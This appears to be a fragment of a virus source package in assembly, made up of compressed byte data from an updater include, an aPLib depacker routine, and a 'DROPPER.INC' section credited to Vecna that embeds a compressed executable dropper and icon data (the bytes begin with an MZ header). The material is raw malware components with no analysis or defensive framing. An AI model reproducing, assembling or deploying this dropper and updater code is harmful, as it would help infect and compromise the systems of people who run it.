db 084h, 04Eh, 0ABh, 0CAh, 004h, 006h, 006h, 04Fh
db 0E8h, 0BFh, 039h, 010h, 073h, 003h, 0A4h, 05Ch
db 03Ch, 07Eh, 0A0h, 07Eh, 03Bh, 035h, 044h, 054h
db 061h, 049h, 0C3h, 071h, 04Ch, 011h, 014h, 015h
db 064h, 077h, 04Ah, 04Fh, 0C5h, 08Bh, 041h, 024h
db 008h, 0EBh, 01Dh, 036h, 04Ah, 083h, 06Ah, 0F0h
db 058h, 0F8h, 003h, 040h, 028h, 073h, 08Bh, 005h
db 008h, 081h, 048h, 020h, 080h, 013h, 09Ah, 029h
db 035h, 0B0h, 074h, 036h, 002h, 08Bh, 00Dh, 060h
db 044h, 075h, 0E3h, 06Bh, 0FFh, 0D1h, 037h, 0A3h
db 048h, 013h, 041h, 074h, 066h, 0C7h, 063h, 0FDh
db 02Eh, 028h, 018h, 052h, 08Ah, 0D2h, 018h, 032h
db 0C2h, 070h, 0C6h, 00Fh, 031h, 074h, 047h, 0FCh
db 0BFh, 0A4h, 081h, 017h, 0F2h, 0AEh, 0FDh, 0B0h
db 05Ch, 080h, 00Ah, 0FCh, 08Bh, 047h, 002h, 00Dh
db 020h, 0C1h, 003h, 03Dh, 072h, 06Eh, 061h, 0C4h
db 074h, 013h, 0A7h, 033h, 0BFh, 0C4h, 0EBh, 052h
db 0CBh, 00Eh, 048h, 0AEh, 0D6h, 00Ah, 07Ah, 0FCh
db 0C4h, 01Eh, 0C3h, 0D4h, 05Ch, 006h, 04Ch, 09Bh
db 011h, 0D1h, 020h, 058h, 0DAh, 0C6h, 0E8h, 082h
db 03Bh, 0A4h, 011h, 011h, 02Eh, 068h, 0D6h, 03Bh
db 050h, 02Ah, 0FEh, 006h, 043h, 0EFh, 010h, 01Dh
db 021h, 088h, 00Ch, 064h, 02Ch, 020h, 0BFh, 0C3h
db 015h, 0C5h, 0C1h, 0D7h, 0A3h, 015h, 0F5h, 007h
db 023h, 068h, 011h, 06Ch, 088h, 070h, 0C4h, 074h
db 062h, 044h, 029h, 013h, 05Eh, 0D8h, 025h, 0E0h
db 030h, 0DDh, 023h, 095h, 0E4h, 006h, 021h, 0E8h
db 090h, 0ECh, 0C8h, 0F0h, 064h, 0F4h, 032h, 0F8h
db 019h, 0FCh, 00Dh, 0C1h, 031h, 008h, 004h, 086h
db 043h, 008h, 021h, 00Ch, 090h, 010h, 0C8h, 014h
db 064h, 018h, 032h, 020h, 019h, 024h, 00Ch, 028h
db 086h, 043h, 02Ch, 021h, 030h, 090h, 034h, 0C8h
db 038h, 064h, 03Ch, 032h, 044h, 019h, 04Ch, 00Ch
db 050h, 086h, 045h, 054h, 05Eh, 001h, 0FBh, 0C1h
db 02Fh, 076h, 065h, 063h, 061h, 021h, 082h, 00Ch
db 069h, 072h, 075h, 073h, 0E1h, 004h, 078h, 0CBh
db 087h, 060h, 06Fh, 06Bh, 034h, 065h, 0DFh, 02Ah
db 0FEh, 0AEh, 07Ah, 079h, 03Ch, 075h, 0C5h, 007h
db 06Ah, 070h, 0C7h, 0A5h, 0B0h, 066h, 074h, 077h
db 061h, 07Fh, 072h, 00Eh, 05Ch, 04Dh, 069h, 063h
db 0DFh, 01Bh, 073h, 01Dh, 0D3h, 057h, 0D1h, 06Eh
db 064h, 0E9h, 077h, 0EFh, 0C0h, 043h, 075h, 072h
db 0D7h, 030h, 00Dh, 090h, 056h, 062h, 0F1h, 069h
db 007h, 0F7h, 052h, 0FFh, 097h, 017h, 01Ch, 020h
db 0BAh, 02Fh, 031h, 02Eh, 0E5h, 070h, 08Fh, 055h
db 061h, 073h, 030h, 02Dh, 041h, 067h, 080h, 043h
db 03Ah, 020h, 04Dh, 06Fh, 07Ah, 069h, 071h, 06Ch
db 0C3h, 0D6h, 034h, 02Eh, 030h, 0E1h, 028h, 063h
db 0F4h, 06Dh, 070h, 0B0h, 096h, 007h, 069h, 062h
db 06Ch, 065h, 03Bh, 0D5h, 056h, 023h, 082h, 029h
db 0BEh, 05Ch, 078h, 041h, 0F3h, 0FDh, 070h, 08Fh
db 055h, 069h, 06Dh, 0F9h, 066h, 02Fh, 0CFh, 0B9h
db 066h, 02Ch, 04Ch, 00Bh, 078h, 072h, 02Dh, 07Eh
db 062h, 040h, 074h, 070h, 0ACh, 011h, 0A3h, 094h
db 0A7h, 06Ch, 018h, 02Ah, 0F1h, 0CBh, 028h, 06Ah
db 048h, 090h, 0DCh, 067h, 001h, 05Ch, 04Bh, 045h
db 052h, 04Eh, 0CCh, 04Ch, 033h, 03Ch, 032h, 02Eh
db 03Dh, 058h, 070h, 051h, 043h, 094h, 0B9h, 0BCh
db 09Ch, 054h, 06Fh, 04Fh, 06Ch, 068h, 03Ch, 0D9h
db 070h, 02Ah, 053h, 0BBh, 0C2h, 03Dh, 073h, 0FFh
db 0A1h, 0DEh, 050h, 046h, 0BFh, 0C8h, 0F5h, 0EFh
db 028h, 024h, 046h, 0F1h, 0EFh, 04Bh, 00Fh, 03Bh
db 04Eh, 054h, 0FBh, 047h, 0F7h, 0D2h, 082h, 0A5h
db 064h, 075h, 082h, 094h, 048h, 061h, 08Ch, 0DDh
db 00Ch, 041h, 0A2h, 011h, 08Fh, 022h, 03Fh, 07Fh
db 076h, 0DCh, 04Dh, 019h, 052h, 0EAh, 069h, 0A8h
db 06Ah, 0D2h, 069h, 053h, 006h, 00Dh, 030h, 070h
db 04Dh, 03Dh, 033h, 000h, 0FFh, 085h, 064h, 030h
db 028h, 00Ch, 05Ch, 040h, 031h, 0E0h, 0CAh, 021h
db 0A4h, 014h, 059h, 069h, 013h, 020h, 029h, 009h
db 0C8h, 014h, 064h, 075h, 048h, 044h, 090h, 0D0h
db 0F2h, 080h, 024h, 04Ch, 054h, 001h, 0B8h, 08Eh
db 0CCh, 031h, 0A4h, 009h, 0AEh, 089h, 0C4h, 012h
db 0D0h, 024h, 0E6h, 048h, 0FCh, 088h, 010h, 032h
db 011h, 01Eh, 022h, 02Eh, 044h, 03Eh, 04Ch, 089h
db 05Eh, 012h, 066h, 024h, 076h, 054h, 001h, 033h
db 084h, 011h, 08Eh, 022h, 009h, 096h, 044h, 09Eh
db 0ACh, 089h, 0BAh, 012h, 0CCh, 025h, 0D6h, 032h
db 024h, 0E4h, 099h, 008h, 0F4h, 011h, 006h, 033h
db 003h, 018h, 0A5h, 02Ah, 07Ch, 0A9h, 032h, 093h
db 0D3h, 01Ch, 04Dh, 078h, 002h, 057h, 053h, 04Fh
db 043h, 04Bh, 099h, 00Ch, 055h, 0F3h, 053h, 034h
db 00Bh, 00Eh, 041h, 044h, 056h, 065h, 050h, 049h
db 036h, 00Dh, 003h, 09Ah, 073h, 026h, 053h, 079h
db 065h, 089h, 06Dh, 044h, 08Bh, 0A1h, 00Fh, 018h
db 08Eh, 06Fh, 0BFh, 06Fh, 02Bh, 0FFh, 023h, 06Eh
db 045h, 078h, 066h, 01Eh, 015h, 053h, 040h, 098h
db 0BBh, 09Ah, 09Ch, 0EDh, 0DDh, 072h, 060h, 03Eh
db 075h, 0CBh, 050h, 073h, 0E4h, 01Eh, 00Ah, 043h
db 06Fh, 070h, 079h, 017h, 0A8h, 02Ch, 0C9h, 032h
db 074h, 091h, 09Ch, 066h, 098h, 021h, 053h, 04Dh
db 06Eh, 067h, 0D3h, 02Dh, 039h, 0DCh, 040h, 027h
db 04Eh, 061h, 06Dh, 0AAh, 02Bh, 065h, 0F2h, 0CAh
db 04Ch, 03Fh, 058h, 052h, 053h, 010h, 052h, 070h
db 01Bh, 045h, 072h, 09Ah, 09Eh, 04Fh, 0A3h, 00Fh
db 080h, 049h, 073h, 042h, 07Ah, 061h, 0A4h, 063h
db 0DAh, 0B8h, 021h, 08Dh, 097h, 016h, 063h, 009h
db 096h, 07Dh, 031h, 046h, 040h, 08Ch, 0B0h, 0D4h
db 0CAh, 011h, 056h, 0CFh, 007h, 074h, 075h, 061h
db 0D5h, 041h, 01Bh, 0E6h, 03Eh, 085h, 028h, 010h
db 046h, 0D4h, 050h, 057h, 033h, 073h, 02Ah, 06Bh
db 051h, 076h, 018h, 0B5h, 0F6h, 0F2h, 015h, 008h
db 0FDh, 028h, 076h, 008h, 0EDh, 049h, 08Eh, 05Dh
db 01Fh, 020h, 045h, 041h, 0A1h, 0D3h, 061h, 0B5h
db 075h, 0A6h, 026h, 00Eh, 0E3h, 015h, 04Ch, 061h
db 073h, 0A3h, 094h, 02Eh, 05Ch, 083h, 071h, 075h
db 065h, 0A6h, 02Ah, 0A2h, 0C9h, 0E3h, 005h, 0FDh
db 023h, 02Ah, 050h, 015h, 0CCh, 06Bh, 04Dh, 092h
db 05Ch, 03Ch, 056h, 0E4h, 059h, 0CAh, 054h, 0D9h
db 056h, 0A1h, 080h, 075h, 0E6h, 08Ah, 0C1h, 012h
db 0CBh, 0B1h, 035h, 04Bh, 0E5h, 079h, 0A9h, 027h
db 012h, 0A8h, 07Dh, 0D2h, 023h, 0DBh, 000h, 0EEh
db 060h, 000h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UPDATER.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNPACK.INC]ÄÄÄ
;***************************************************************
;* aPLib v0.22b - the smaller the better :) *
;* WASM & TASM assembler depacker *
;* *
;* Copyright (c) 1998-99 by - Jibz - All Rights Reserved *
;***************************************************************
_aP_depack_asm:
push ebp
mov ebp, esp
pushad
push ebp
mov esi, [ebp + 8] ; C calling convention
mov edi, [ebp + 12]
cld
mov dl, 80h
literal:
movsb
nexttag:
call getbit
jnc literal
xor ecx, ecx
call getbit
jnc codepair
xor eax, eax
call getbit
jnc shortmatch
mov al, 10h
getmorebits:
call getbit
adc al, al
jnc getmorebits
jnz domatch_with_inc
stosb
jmp short nexttag
codepair:
call getgamma_no_ecx
dec ecx
loop normalcodepair
mov eax,ebp
call getgamma
jmp short domatch
shortmatch:
lodsb
shr eax, 1
jz donedepacking
adc ecx, 2
mov ebp, eax
jmp short domatch
normalcodepair:
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call getgamma
cmp eax, 32000
jae domatch_with_2inc
cmp eax, 1280
jae domatch_with_inc
cmp eax, 7fh
ja domatch
domatch_with_2inc:
inc ecx
domatch_with_inc:
inc ecx
domatch:
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short nexttag
getbit:
add dl, dl
jnz stillbitsleft
mov dl, [esi]
inc esi
adc dl, dl
stillbitsleft:
ret
getgamma:
xor ecx, ecx
getgamma_no_ecx:
inc ecx
getgammaloop:
call getbit
adc ecx, ecx
call getbit
jc getgammaloop
ret
donedepacking:
pop ebp
sub edi, [ebp + 12]
mov [ebp - 4], edi ; return unpacked length in eax
popad
pop ebp
ret 4*2
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNPACK.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DROPPER.INC]ÄÄÄ
;Compressed Dropper&Icon data
;(C) Vecna
dropper equ 0
coelho equ dropper+6144
hallwen equ coelho+1152
jesus equ hallwen+1152
ovo equ jesus+1152
santa equ ovo+1152
babylonia equ santa+1152
icon equ 12c8h
db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h
db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h
db 001h, 040h, 0C2h, 015h, 0C6h, 0C0h, 009h, 00Eh
db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0FAh, 0C6h
db 050h, 045h, 008h, 028h, 04Ch, 001h, 0BEh, 00Ah
db 0B0h, 0A2h, 00Ch, 038h, 014h, 0C7h, 0E0h, 001h
db 00Fh, 001h, 00Bh, 0C8h, 005h, 00Ch, 0E0h, 002h
db 0CAh, 01Bh, 012h, 015h, 065h, 010h, 032h, 004h
db 020h, 0BAh, 0DEh, 08Ch, 00Ch, 041h, 004h, 0A6h
db 01Fh, 0F1h, 05Dh, 051h, 04Ah, 00Dh, 02Bh, 002h
db 039h, 039h, 0D3h, 008h, 09Ah, 00Fh, 09Eh, 080h
db 065h, 05Ch, 0A1h, 050h, 031h, 053h, 060h, 009h
db 04Bh, 0D9h, 0BDh, 095h, 0B1h, 05Ch, 01Fh, 0ACh
db 02Eh, 01Ch, 074h, 065h, 078h, 0E2h, 038h, 0D6h
db 001h, 052h, 0CCh, 0D4h, 0C5h, 057h, 043h, 0C0h
db 060h, 02Eh, 072h, 064h, 061h, 072h, 074h, 080h
db 06Ah, 002h, 0AEh, 0FCh, 0A1h, 024h, 006h, 05Ah
db 028h, 055h, 0BBh, 0CDh, 02Eh, 049h, 027h, 0C1h
db 0A1h, 032h, 00Dh, 029h, 030h, 028h, 090h, 00Ah
db 0ACh, 0C0h, 0CEh, 0A0h, 073h, 04Eh, 063h, 015h
db 0ECh, 0CAh, 040h, 024h, 065h, 00Eh, 02Ah, 028h
db 070h, 0ADh, 001h, 0D7h, 061h, 0FCh, 0E8h, 0A0h
db 034h, 042h, 066h, 000h, 0BBh, 0C6h, 0CAh, 00Fh
db 0BAh, 0E0h, 01Fh, 073h, 060h, 004h, 014h, 0B1h
db 0ABh, 064h, 067h, 026h, 08Bh, 00Eh, 02Bh, 001h
db 0E3h, 002h, 0FFh, 0E1h, 0BEh, 031h, 00Bh, 020h
db 0CDh, 0B9h, 044h, 059h, 0F6h, 000h, 016h, 0ACh
db 0E2h, 0FBh, 0F7h, 0D3h, 066h, 089h, 031h, 01Dh
db 024h, 027h, 068h, 059h, 043h, 005h, 004h, 01Ah
db 075h, 0E8h, 04Fh, 00Ah, 093h, 00Ah, 0F9h, 05Dh
db 031h, 0BFh, 028h, 0ABh, 04Ch, 00Ah, 091h, 054h
db 07Fh, 070h, 095h, 0A7h, 01Eh, 090h, 03Ah, 0B2h
db 036h, 011h, 077h, 009h, 047h, 04Bh, 0F4h, 027h
db 027h, 0BCh, 01Fh, 06Ah, 076h, 010h, 0A3h, 074h
db 0DBh, 00Dh, 07Ch, 00Bh, 0C8h, 026h, 0CDh, 0BEh
db 028h, 0F4h, 01Dh, 075h, 00Bh, 087h, 011h, 01Ch
db 088h, 0B0h, 0B2h, 00Fh, 0B5h, 031h, 09Ch, 00Dh
db 091h, 013h, 09Fh, 0D5h, 00Dh, 023h, 0ECh, 0BCh
db 0ABh, 0D7h, 016h, 0BDh, 0B0h, 0D2h, 017h, 055h
db 08Bh, 0ECh, 003h, 083h, 0C4h, 0FCh, 068h, 061h
db 032h, 022h, 09Fh, 053h, 030h, 0E8h, 07Bh, 02Bh
db 089h, 045h, 0FCh, 0FEh, 074h, 011h, 023h, 068h
db 08Dh, 01Ah, 0E8h, 07Dh, 0F5h, 0A2h, 01Fh, 0FFh
db 075h, 041h, 024h, 064h, 08Fh, 01Bh, 085h, 0C0h
db 02Ah, 0E5h, 00Ch, 011h, 04Ch, 014h, 0C9h, 0C3h
db 04Bh, 0CAh, 07Bh, 06Ch, 071h, 014h, 04Eh, 00Dh
db 022h, 001h, 006h, 0CCh, 0FFh, 025h, 054h, 020h
db 085h, 0ECh, 050h, 0A9h, 006h, 04Ch, 00Ch, 048h
db 086h, 043h, 044h, 021h, 018h, 090h, 01Ch, 0DEh
db 0E1h, 090h, 024h, 0C8h, 028h, 064h, 014h, 032h
db 02Ch, 019h, 030h, 00Ch, 034h, 086h, 043h, 038h
db 021h, 03Ch, 090h, 00Ch, 0C8h, 008h, 064h, 004h
db 037h, 008h, 0A9h, 001h, 0D4h, 032h, 054h, 022h
db 008h, 046h, 024h, 036h, 048h, 02Ah, 0A8h, 001h
db 04Ah, 0AAh, 00Ch, 0D2h, 056h, 009h, 064h, 089h
db 070h, 012h, 082h, 024h, 092h, 048h, 0C0h, 091h
db 0D6h, 022h, 0E4h, 044h, 0FCh, 014h, 0A6h, 030h
db 044h, 03Eh, 030h, 089h, 028h, 012h, 01Ch, 024h
db 008h, 0B6h, 012h, 010h, 0F0h, 020h, 0E3h, 04Ah
db 032h, 029h, 044h, 021h, 0C0h, 096h, 014h, 066h
db 01Ch, 081h, 014h, 021h, 052h, 0ACh, 014h, 0C8h
db 060h, 0A8h, 0C2h, 0AFh, 0ACh, 05Ch, 050h, 0A0h
db 09Eh, 072h, 003h, 061h, 077h, 041h, 06Eh, 069h
db 06Dh, 0B0h, 074h, 065h, 064h, 073h, 052h, 076h
db 063h, 070h, 073h, 054h, 0A8h, 014h, 049h, 0F6h
db 06Fh, 067h, 06Eh, 040h, 0FBh, 001h, 047h, 065h
db 074h, 0FDh, 043h, 0C0h, 0BBh, 001h, 078h, 04Dh
db 071h, 073h, 03Eh, 061h, 067h, 084h, 042h, 06Fh
db 078h, 041h, 087h, 06Eh, 0ECh, 054h, 06Ch, 0F7h
db 0F9h, 073h, 0FBh, 00Fh, 035h, 055h, 053h, 045h
db 0A0h, 033h, 032h, 02Eh, 064h, 06Ch, 0E3h, 09Ch
db 05Ch, 075h, 03Eh, 000h, 078h, 069h, 074h, 050h
db 072h, 06Fh, 063h, 0DCh, 05Bh, 014h, 088h, 0B6h
db 07Dh, 00Fh, 06Eh, 064h, 043h, 06Ch, 0DBh, 050h
db 082h, 08Ch, 0ACh, 00Ch, 008h, 072h, 0F8h, 074h
db 0DBh, 00Ah, 076h, 070h, 086h, 054h, 091h, 012h
db 04Eh, 0F6h, 078h, 0A6h, 011h, 050h, 0E1h, 06Ah
db 043h, 038h, 075h, 072h, 0FCh, 06Dh, 06Eh, 0E2h
db 050h, 053h, 08Ah, 06Fh, 0E3h, 079h, 035h, 051h
db 0F9h, 031h, 027h, 023h, 06Eh, 0EEh, 072h, 0E5h
db 062h, 075h, 00Ch, 0A7h, 073h, 02Dh, 044h, 044h
db 001h, 053h, 06Fh, 079h, 09Ch, 0CAh, 06Dh, 02Dh
db 059h, 05Fh, 043h, 016h, 056h, 0F6h, 0CAh, 052h
db 069h, 0BCh, 028h, 064h, 00Eh, 06Fh, 057h, 0CBh
db 0A5h, 077h, 073h, 038h, 052h, 03Eh, 029h, 002h
db 053h, 06Ah, 079h, 073h, 0B7h, 030h, 0CCh, 0E7h
db 070h, 005h, 04Bh, 00Eh, 0D1h, 04Eh, 06Ah, 04Ch
db 0D4h, 051h, 018h, 040h, 046h, 050h, 069h, 078h
db 0EBh, 09Fh, 019h, 053h, 03Ch, 0F6h, 01Bh, 061h
db 079h, 04Dh, 020h, 0ADh, 024h, 091h, 096h, 082h
db 020h, 078h, 06Fh, 03Dh, 079h, 042h, 03Fh, 07Ah
db 06Ch, 0E8h, 01Ch, 099h, 0FCh, 053h, 0AEh, 02Ah
db 015h, 047h, 044h, 049h, 041h, 095h, 001h, 0AEh
db 0BCh, 0B3h, 001h, 090h, 09Eh, 09Bh, 09Ah, 08Dh
db 0DFh, 0BAh, 0CFh, 0A7h, 09Eh, 0C1h, 0FFh, 0BEh
db 0AFh, 0B6h, 0E9h, 091h, 0E1h, 08Bh, 0F9h, 099h
db 0F1h, 08Ah, 0DCh, 09Bh, 0DEh, 0FEh, 0A8h, 06Fh
db 096h, 00Ch, 0C7h, 088h, 08Ch, 0FDh, 04Ch, 0CCh
db 08Dh, 09Ah, 03Fh, 08Eh, 08Ah, 06Ch, 00Ah, 02Ah
db 0F2h, 01Eh, 0F5h, 0ABh, 097h, 073h, 026h, 08Fh
db 03Fh, 05Eh, 098h, 09Eh, 09Eh, 092h, 01Fh, 088h
db 01Ch, 093h, 07Eh, 09Eh, 09Dh, 09Ah, 01Bh, 08Bh
db 088h, 0EEh, 05Ch, 060h, 09Eh, 00Eh, 09Bh, 0D1h
db 0FFh, 0D5h, 0E6h, 0BAh, 072h, 0A7h, 0EDh, 0C2h
db 0BDh, 001h, 0F5h, 0C7h, 002h, 004h, 003h, 0E3h
db 07Fh, 011h, 080h, 00Eh, 035h, 038h, 011h, 068h
db 020h, 001h, 0E1h, 0CAh, 025h, 050h, 02Bh, 018h
db 05Ah, 04Ah, 0A4h, 068h, 018h, 056h, 02Bh, 009h
db 004h, 015h, 0EAh, 018h, 0E4h, 090h, 044h, 0A0h
db 040h, 005h, 0A8h, 008h, 028h, 01Ah, 048h, 065h
db 049h, 008h, 014h, 02Ch, 02Ah, 028h, 09Eh, 00Fh
db 0C5h, 040h, 054h, 036h, 029h, 085h, 080h, 004h
db 03Dh, 04Bh, 04Bh, 001h, 029h, 080h, 06Dh, 03Bh
db 0F8h, 0A4h, 007h, 0A3h, 002h, 036h, 013h, 0C0h
db 002h, 008h, 040h, 0DCh, 0F0h, 02Dh, 0CAh, 0A6h
db 00Eh, 093h, 03Ch, 019h, 099h, 009h, 066h, 012h
db 033h, 02Fh, 0E8h, 0CCh, 039h, 0C4h, 099h, 089h
db 066h, 012h, 033h, 02Eh, 011h, 07Eh, 06Eh, 099h
db 031h, 091h, 078h, 08Bh, 0E4h, 05Fh, 022h, 0FBh
db 017h, 0D8h, 0BAh, 045h, 0E2h, 02Fh, 091h, 07Ch
db 08Bh, 0E4h, 05Eh, 062h, 0FBh, 017h, 088h, 0BEh
db 045h, 0F2h, 02Ah, 014h, 038h, 045h, 0C2h, 02Eh
db 011h, 06Ch, 009h, 0E6h, 0CCh, 0DDh, 0BFh, 036h
db 097h, 008h, 047h, 066h, 022h, 033h, 0E1h, 016h
db 006h, 0DFh, 039h, 0E2h, 0FFh, 016h, 009h, 045h
db 033h, 0C2h, 02Ah, 08Ch, 03Eh, 0C5h, 0F6h, 02Fh
db 0B1h, 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h
db 0C8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh
db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h
db 049h, 08Ah, 0F2h, 0A6h, 002h, 099h, 009h, 044h
db 066h, 033h, 08Bh, 084h, 054h, 094h, 022h, 099h
db 0E9h, 017h, 088h, 0B2h, 008h, 033h, 02Eh, 011h
db 051h, 090h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h
db 05Fh, 022h, 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h
db 02Fh, 0B1h, 07Dh, 08Bh, 0F4h, 05Fh, 062h, 0FBh
db 017h, 0D8h, 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch
db 08Bh, 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0B5h
db 031h, 037h, 08Ah, 0CAh, 002h, 099h, 066h, 009h
db 033h, 017h, 008h, 0A8h, 090h, 0FDh, 017h, 048h
db 0BCh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0F4h
db 05Fh, 022h, 0F9h, 017h, 0C8h, 0BEh, 045h, 0F2h
db 02Fh, 0D1h, 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0F9h
db 017h, 0C8h, 0BFh, 045h, 0F2h, 02Fh, 091h, 07Dh
db 08Bh, 0ECh, 05Fh, 062h, 0FDh, 017h, 0D8h, 0BEh
db 0C5h, 0F2h, 02Fh, 091h, 07Ch, 091h, 0A6h, 094h
db 0CCh, 08Ah, 0DFh, 02Ah, 002h, 06Eh, 033h, 009h
db 011h, 051h, 090h, 0EAh, 02Fh, 0D1h, 078h, 08Bh
db 0E4h, 05Fh, 022h, 0F9h, 017h, 0C8h, 0BFh, 045h
db 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 022h
db 0FDh, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h
db 07Ch, 08Bh, 0F4h, 05Fh, 022h, 0F9h, 017h, 0C8h
db 0BEh, 045h, 0F2h, 02Fh, 0D1h, 07Ch, 08Bh, 0ECh
db 05Fh, 062h, 0FBh, 033h, 032h, 024h, 0CCh, 016h
db 06Fh, 0B4h, 08Eh, 0D4h, 002h, 070h, 0A2h, 014h
db 06Ch, 08Bh, 0E1h, 014h, 0C9h, 063h, 0A6h, 050h
db 027h, 0CEh, 011h, 069h, 028h, 033h, 0EBh, 084h
db 05Ah, 030h, 04Ch, 0AFh, 0E1h, 016h, 030h, 093h
db 073h, 038h, 045h, 0A4h, 030h, 037h, 0CEh, 011h
db 06Ah, 030h, 0E3h, 0CAh, 0FFh, 04Dh, 030h, 059h
db 0BFh, 0C2h, 02Dh, 026h, 059h, 083h, 0C2h, 02Dh
db 028h, 049h, 037h, 0C2h, 02Ah, 082h, 06Ch, 002h
db 0DDh, 0C8h, 009h, 0BBh, 091h, 0AAh, 022h, 088h
db 044h, 077h, 055h, 089h, 044h, 012h, 022h, 095h
db 01Fh, 04Dh, 002h, 0B6h, 01Eh, 002h, 02Eh, 0D5h
db 002h, 004h, 036h, 044h, 002h, 02Eh, 0DCh, 002h
db 010h, 011h, 057h, 02Bh, 096h, 00Ah, 0B4h, 0FBh
db 0E1h, 00Eh, 0A4h, 0A0h, 03Ch, 016h, 080h, 027h
db 0C9h, 00Fh, 095h, 003h, 049h, 091h, 052h, 007h
db 058h, 050h, 0D4h, 00Fh, 04Fh, 02Eh, 06Eh, 0C0h
db 0EAh, 0D6h, 0E9h, 0E8h, 0ADh, 0C0h, 002h, 0A7h
db 082h, 057h, 007h, 07Ch, 07Bh, 0ECh, 0FDh, 0B3h
db 020h, 002h, 0F5h, 087h, 028h, 09Dh, 0D9h, 0F0h
db 03Dh, 0D6h, 0ADh, 0E8h, 0E5h, 016h, 03Eh, 0C7h
db 006h, 0E9h, 0F0h, 0DCh, 036h, 0F1h, 0E9h, 0D7h
db 079h, 006h, 01Ch, 0F4h, 0F5h, 0DAh, 05Ch, 0D4h
db 069h, 020h, 029h, 001h, 09Eh, 0E9h, 0B3h, 077h
db 0F1h, 08Eh, 00Ah, 0E9h, 0BEh, 088h, 06Eh, 03Ch
db 047h, 0D5h, 0F3h, 01Dh, 041h, 0FEh, 0ACh, 03Eh
db 00Ah, 082h, 0E3h, 0BDh, 082h, 0B6h, 0CFh, 04Ah
db 006h, 0F9h, 0B7h, 064h, 0E4h, 04Dh, 082h, 049h
db 040h, 0F7h, 065h, 0F1h, 036h, 0EFh, 019h, 083h
db 04Ah, 0F0h, 0BBh, 00Eh, 06Dh, 0F9h, 084h, 0BFh
db 086h, 099h, 0AEh, 0F3h, 082h, 0F4h, 0D2h, 0B3h
db 020h, 076h, 002h, 0F1h, 049h, 0A9h, 04Bh, 0B2h
db 050h, 08Ah, 0E6h, 0CAh, 03Eh, 0D4h, 020h, 04Ch
db 03Dh, 07Ch, 072h, 05Dh, 0CEh, 00Bh, 051h, 02Ch
db 057h, 00Eh, 0A7h, 0E9h, 0FDh, 0E9h, 08Ch, 0D4h
db 0CFh, 0B3h, 0E4h, 0F3h, 051h, 0D5h, 020h, 0F6h
db 0A0h, 040h, 07Ch, 057h, 051h, 007h, 0A3h, 0DEh
db 098h, 0F6h, 032h, 02Bh, 07Ah, 05Dh, 0E7h, 0B1h
db 021h, 044h, 0E9h, 0AEh, 094h, 03Eh, 0F4h, 020h
db 06Dh, 01Ah, 026h, 0C7h, 072h, 039h, 06Eh, 02Bh
db 03Ah, 072h, 01Dh, 032h, 05Fh, 0A7h, 0F9h, 055h
db 084h, 057h, 0EEh, 02Dh, 042h, 0C2h, 0ADh, 020h
db 0ACh, 0CBh, 028h, 047h, 007h, 01Eh, 071h, 0EBh
db 0CDh, 07Ch, 0CFh, 03Eh, 047h, 0AEh, 069h, 025h
db 011h, 0DAh, 00Fh, 060h, 0E8h, 054h, 041h, 036h
db 0F7h, 004h, 04Ah, 0DEh, 0BEh, 075h, 020h, 00Eh
db 0A9h, 0F1h, 034h, 020h, 06Fh, 04Eh, 046h, 0B2h
db 0DAh, 081h, 0EDh, 0AAh, 0F9h, 001h, 0A3h, 0A3h
db 096h, 0B4h, 048h, 0CFh, 011h, 092h, 04Ah, 063h
db 0ADh, 0A6h, 031h, 080h, 0A6h, 0F5h, 056h, 020h
db 07Ch, 050h, 007h, 0B9h, 032h, 0DDh, 006h, 0F6h
db 055h, 090h, 091h, 02Fh, 036h, 044h, 014h, 0ABh
db 0A3h, 0FDh, 05Bh, 020h, 070h, 073h, 0BBh, 0A2h
db 09Dh, 08Dh, 0C0h, 0A8h, 0E8h, 0EBh, 0F6h, 0F9h
db 043h, 0CFh, 051h, 0FEh, 012h, 0A1h, 00Eh, 058h
db 053h, 060h, 07Ch, 054h, 07Ch, 0BBh, 0F6h, 0E3h
db 047h, 09Fh, 06Dh, 0C4h, 0EEh, 08Dh, 0C4h, 046h
db 0CBh, 050h, 038h, 0EFh, 0F7h, 0A9h, 091h, 0CEh
db 046h, 020h, 0BCh, 037h, 032h, 0EBh, 02Bh, 01Dh
db 031h, 0EAh, 0A6h, 0CCh, 0F7h, 00Eh, 0FDh, 0A9h
db 088h, 0CEh, 033h, 0E2h, 081h, 06Ah, 041h, 024h
db 033h, 036h, 07Fh, 009h, 0D5h, 034h, 08Ah, 062h
db 032h, 032h, 05Dh, 0ADh, 0F0h, 0C4h, 0BEh, 0EEh
